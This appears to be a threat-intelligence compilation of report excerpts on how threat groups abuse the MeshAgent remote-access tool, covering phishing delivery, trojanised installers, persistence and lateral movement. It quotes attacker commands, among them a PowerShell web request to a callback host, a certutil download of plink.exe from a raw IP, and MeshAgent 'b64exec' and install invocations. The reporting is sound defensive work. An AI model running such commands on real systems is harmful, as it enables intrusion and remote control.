MeshAgent

T1583 Acquire Infrastructure QuadSwitcher acquired infrastructure to host their tooling.

PhantomCore registers phishing domains with fake CAPTCHAs used to deliver MeshAgent samples, and domains for the corresponding MeshCentral servers

PhantomCore gains access to servers of legitimate sites and later uses them to store samples of MeshAgent, PhantomTaskShell, and Rsocx

PhantomCore buys commercial software XenArmor All‑In‑One Password Recovery Pro and uploads the free utilities MeshAgent, RSocx, and Rclone

PhantomCore uploads MeshAgent and RSocx to directories on compromised legitimate sites and phishing sites, and uploads XenArmor All‑In‑One Password Recovery Pro and RClone to VPS servers

PhantomCore uses external services for remote access: SSH (tunneling) and MeshAgent

it seems that the threat actor attacked the development company and distributed installers with malware strains

Quick Heal’s team has identified hacker group APT36 (Transparent Tribe) deploying CrimsonRAT malware through sophisticated phishing attacks along with an RMM tool known as MeshAgent, he said.

PhantomCore emails links to phishing sites that lead to MeshAgent being downloaded when visited

tâche planifiée \MeshUserTask (MeshAgent)

Once initial access was gained, the threat actors deployed customized MeshCentral agents disguised as legitimate cloud endpoints, which they used to run queries, perform lateral movement, and deploy custom scripts.

The earliest known indicators of compromise... This was a test of reliable code execution: powershell.exe Invoke-WebRequest -Uri http://REDACTED.oastify.com/REDACTED

C:\Windows\Temp\mesch.exe run ... C:\Windows\Temp\mesch.exe b64exec ... C:\Windows\Temp\mesch.exe -fullinstall

PhantomCore lures users of targeted systems into clicking phishing links to download MeshAgent

a malicious setup file is uploaded to the website of a Korean VPN service provider instead of the normal installer. Accordingly, users may mistakenly think that they have executed a normal setup file, but a malware strain is also installed in the system and executed.

tâche planifiée \MeshUserTask (MeshAgent)

PhantomCore uses external services for remote access: SSH (tunneling) and MeshAgent

tâche planifiée \MeshUserTask (MeshAgent)

Once initial access was gained, the threat actors deployed customized MeshCentral agents disguised as legitimate cloud endpoints

At the end of August 2024, QuadSwitcher compromised a technology company in Western Europe, downloading PuTTY from http://130.185.75[.]198:8000/plink.exe using certutil.exe ... The threat actor also downloaded MeshAgent ... also via certutil.exe.

Most malware samples had certificates disguised as valid ones from this company. There were also multiple samples signed with valid certificates.

Anubis also exploited authentic remote access and admin tools such as MeshAgent, Total Software Deployment, ScreenConnect, UltraVNC, and Zoho Assist to merge with usual IT operations while handling control of target systems.

A host within an organization had not been onboarded to Huntress at the time of exploitation and resulted in lateral movement to another endpoint.

The malicious installer connects to the C&C server and downloads encrypted configuration data.

MeshAgent... communicating over encrypted WebSocket (WSS) to an attacker-controlled server... T1071.001 Application Layer Protocol: Web Protocols

Available evidence shows that, in several instances, threat actors installed the software through the s3browser-13-1-1.exe installer, after downloading the installer to the user Downloads directory.

For lateral movement, the group uses MeshAgent, RuDesktop, AnyDesk, and built-in RDP.